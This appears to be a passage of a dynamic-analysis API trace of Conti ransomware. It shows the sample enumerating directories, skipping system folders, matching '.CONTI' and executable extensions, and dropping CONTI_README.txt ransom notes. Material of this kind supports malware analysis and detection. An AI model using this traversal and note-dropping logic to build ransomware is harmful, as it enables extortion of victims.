	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="$RECYCLE.BIN") returned 1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="System Volume Information") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="Program Files") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="Program Files (x86)") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="Boot") returned -1
	[0106.805] lstrcmpiW (lpString1="{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="Windows") returned -1
	[0106.805] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.805] lstrlenW (lpString="{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned 38
	[0106.805] GetProcessHeap () returned 0x1720000
	[0106.805] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173ea08
	[0106.805] lstrcpyW (in: lpString1=0x173ea08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.805] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.805] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}"
	[0106.805] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned 76
	[0106.805] GetProcessHeap () returned 0x1720000
	[0106.805] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173ef48
	[0106.805] lstrcpyW (in: lpString1=0x173ef48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}"
	[0106.805] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*"
	[0106.805] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned 76
	[0106.805] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.806] GetProcessHeap () returned 0x1720000
	[0106.806] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510460
	[0106.806] lstrcpyW (in: lpString1=0x6510460, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}"
	[0106.806] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\"
	[0106.806] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\CONTI_README.txt"
	[0106.806] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.811] GetProcessHeap () returned 0x1720000
	[0106.811] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510460 | out: hHeap=0x1720000) returned 1
	[0106.811] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.812] CloseHandle (hObject=0x3a8) returned 1
	[0106.812] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82b0
	[0106.812] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.812] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.812] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.812] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.812] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538016df, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538016df, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.812] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.812] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.812] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.812] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.812] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.812] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.812] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.812] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.812] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.812] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.812] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.812] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.813] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.813] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.813] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.813] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned 76
	[0106.813] lstrlenW (lpString="customizations.xml") returned 18
	[0106.813] GetProcessHeap () returned 0x1720000
	[0106.813] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6510398
	[0106.813] lstrcpyW (in: lpString1=0x6510398, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}"
	[0106.813] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\"
	[0106.813] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"
	[0106.813] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.813] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.813] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.813] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.813] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned 76
	[0106.813] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.813] GetProcessHeap () returned 0x1720000
	[0106.813] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181ce28
	[0106.813] lstrcpyW (in: lpString1=0x181ce28, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}"
	[0106.813] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\"
	[0106.813] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\MasterDatastore.xml"
	[0106.813] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.813] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.813] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.813] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.813] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.813] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.813] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.814] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.814] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned 76
	[0106.814] lstrlenW (lpString="Prov") returned 4
	[0106.814] GetProcessHeap () returned 0x1720000
	[0106.814] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.814] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}"
	[0106.814] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\"
	[0106.814] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov"
	[0106.814] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned 81
	[0106.814] GetProcessHeap () returned 0x1720000
	[0106.814] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6587bf0
	[0106.814] lstrcpyW (in: lpString1=0x6587bf0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov"
	[0106.814] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*"
	[0106.814] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned 81
	[0106.814] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.814] GetProcessHeap () returned 0x1720000
	[0106.814] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d648
	[0106.814] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov"
	[0106.814] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\"
	[0106.814] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\CONTI_README.txt"
	[0106.814] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0106.816] GetProcessHeap () returned 0x1720000
	[0106.817] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0106.817] WriteFile (in: hFile=0x2e8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.817] CloseHandle (hObject=0x2e8) returned 1
	[0106.817] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8330
	[0106.818] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.818] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.818] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.818] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.818] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x538279f0, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x538279f0, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x538279f0, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.818] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.818] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.818] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.818] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.818] FindNextFileW (in: hFindFile=0x17c8330, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.818] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.818] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned 81
	[0106.818] lstrlenW (lpString="RunTime") returned 7
	[0106.818] GetProcessHeap () returned 0x1720000
	[0106.818] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.818] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov"
	[0106.818] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\"
	[0106.818] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime"
	[0106.818] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned 89
	[0106.819] GetProcessHeap () returned 0x1720000
	[0106.819] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.819] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\Prov\\RunTime"
